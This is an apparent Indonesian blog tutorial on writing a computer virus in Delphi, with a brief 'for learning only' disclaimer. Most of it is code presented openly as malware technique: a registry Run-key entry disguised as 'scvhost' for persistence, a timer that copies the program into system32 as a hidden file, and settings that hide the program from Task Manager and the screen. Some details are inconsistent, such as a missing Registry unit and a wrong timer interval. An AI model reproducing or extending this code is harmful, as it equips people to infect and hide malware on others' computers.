CARA MEMBUAT VIRUS DENGAN DELPHI

Bagi kamu yang hobi dengan pemograman komputer,gak ada salahnya dong kalau kamu mencoba dan mempelajari cara-cara membuat virus dengan menggunakan delphi.Oke,,,kali ini penulis gak akan ngomong panjang lebar tapi yang harus kamu inget,Tujuan saya membuat tulisan ini hanya dengan tujuan pembelajaran dan jangan pernah mencobakan virus ini kekomputer orangalin.Stop,,,,,,,,!Padil tadikan udah janji gak akan panjang lebar.Oke langsung aja ni Padil kasih kode programnya.

Tambahkan uses registry pada klausa uses.

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;

Coba kita buat agar aplikasi kita ini di jalankan ketika computer pertama kali jalan (ini hanya contoh
silahkan kembangkan )

Procedure Tform1.FormCreate(Sender: TObject);
var
Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey(‘\Software\Microsoft\Windows\CurrentVersion\Run’,true);
reg.WriteString(‘scvhost’, Application.ExeName);
reg.CloseKey;
finally
reg.free;
end;
end;
Simpan project anda kemudian jalankan, jika sudah dijalankan coba logoff kemudian masuk lagi ato restart
ato masuk ke msconfig dan lihat hasilnya. Mudah kan, untuk nilai-nilai yang lain silahkan anda coba
sendiri…
Biasanya virus lokal ketika jalan melakukan duplikasi diri ? pake Delphi bisa gak sih? Bisa banget, nah klo
pake delhpi gini caranya :
Misalnya kita pake komponen timer dengan property interval 50000  maksudnya melakukan proses copy
file tiap 5 detik
…..
Begin
copyFile(PAnsiChar(‘.\’+ExtractFileName(application.ExeName)),’C:\Windows\system32\mangga3.exe’,false);
FileSetAttr(‘C:\Windows\mangga3.exe’,faHidden);
end;
tar tinggal anda kembangkan yah…. Nilai atribut file dapat juga anda modifikasi ! baca aja di help bawaan
Delphi untuk mengetahi nilai2 apa aja sih yang ada
So sweat 
Biasanya kan virus gak bisa kelihat di task manager ? trus klo di shift+tab juga gak ada trus biasanya
aplikasi virus ketika aktif gak kelihatan, klo pake Delphi bisa gak? Hehehe Delphi gitu loh ya iyalah malah
programnya hanya 2 baris lagi
Bwt project baru kemudian buka project-nya caranya tekan ctrl+F12 trus pilih projectnya nanti akan
muncul seperti tampiln project1 di bawah ini :
program Project1;
uses
Forms,
Unit1 in ‘Unit1.pas’ {Form1};
{$R *.res}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
Setelah itu kita modifikasi sehingga berubah menjadi :
program Project1;
uses
Forms,
Unit1 in ‘Unit1.pas’ {Form1};
{$R *.res}
begin
Application.Initialize;
Application.Title:=”; //gak kelihatan di task manager
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=false; // form utamanya gak kelihatan waktu prosesnya berjalan
Application.Run;
end.
Tuh simpelkan.Janngan lupa kritik & sarannya ya.
Padil tu masih belajar jadi tolong kritik dan sarannya ya.
padil tunggu komentarnya.Ok,,,,?

PENULIS
M.PADIL